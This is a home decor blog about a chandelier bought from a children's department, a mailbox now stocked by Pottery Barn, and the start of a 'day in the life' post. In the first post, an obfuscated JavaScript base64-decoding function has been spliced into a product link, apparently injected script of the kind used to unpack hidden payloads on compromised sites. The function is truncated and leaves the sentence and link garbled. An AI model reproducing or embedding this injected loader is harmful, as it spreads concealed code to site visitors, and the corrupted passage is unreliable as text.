My secret to great lighting at a lower cost is to go to the kid’s department. I feel like all the big retail shops have child and teen departments that are getting better and better by the year. If you get these catalogues in your mail and toss them, then I would challenge you to refrain and take a look. I always troll the home decor websites and these departments are real contenders for the good-looking stuff.

I ended up getting the light fixture for my master bedroom from function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oechild.com/catalog/product/product.jsp?productId=rhbc_prod395464&categoryId=rhbc_cat338027">Restoration Hardware Baby and Child. This is the second chandelier I've purchased for an adult space from them. Here is the one I chose:

It's wood and white washed. Here is a look at what I had previously along with another look at the carpet that was in this space. I heart a crystal chandelier, but this one was not working for me anymore. I wanted something a bit rougher and larger.

And here is a look at the new one in black and white.

I also wanted to show you a few other small items that I worked on before I show you the full room. I went a bit monochromatic with my white, but also left the bits of gray.

I definitely edited the "stuff" that I had in here because I didn't want the distraction from a sense of calm. I left the books, small statues, clock, a few small wall decor items and pillows. Life is chaos outside those bedroom doors!

…favorite things friday: my mailbox

I have such fun news! A big retailer is now stocking my mailbox. I get lots of emails about where I found it and it was from a super small distributer and I don't even recall the name. Now it's available at Pottery Barn.

Here is a picture of it on a door, which I thought was a fantastic idea! This is what mine looks like in comparison. They do not stock such a shabby, bronzy color, but they do have a few comparable options.

I'm looking out for my favorite readers! I know how excited I get when I find a piece that I've been hunting for so for those of you that were on the hunt for this mailbox now's your chance!

…a day in the life

Onto my depression. Just kidding. Not really, but third week in February and I'm just about ready to laugh through the worst month of the year that can tear me down to tears. In this spirit, I thought it would be kinda funny to post pictures of my daily life in the house that you usually see only in an organized and clever light. I remember getting lovely comments after my first piece of press, but I also remember some comments about how obnoxiously pretty my house looks. I was more frustrated than anything because, hello mean-people, it was a photoshoot of course I put away the dirty laundry  and threw away the juice boxes lining the interior of the house!

Here's a peek at a day in the life in our nest. Feel free to laugh. Oh, and be aware that Ollie and Owen make a big showing here.
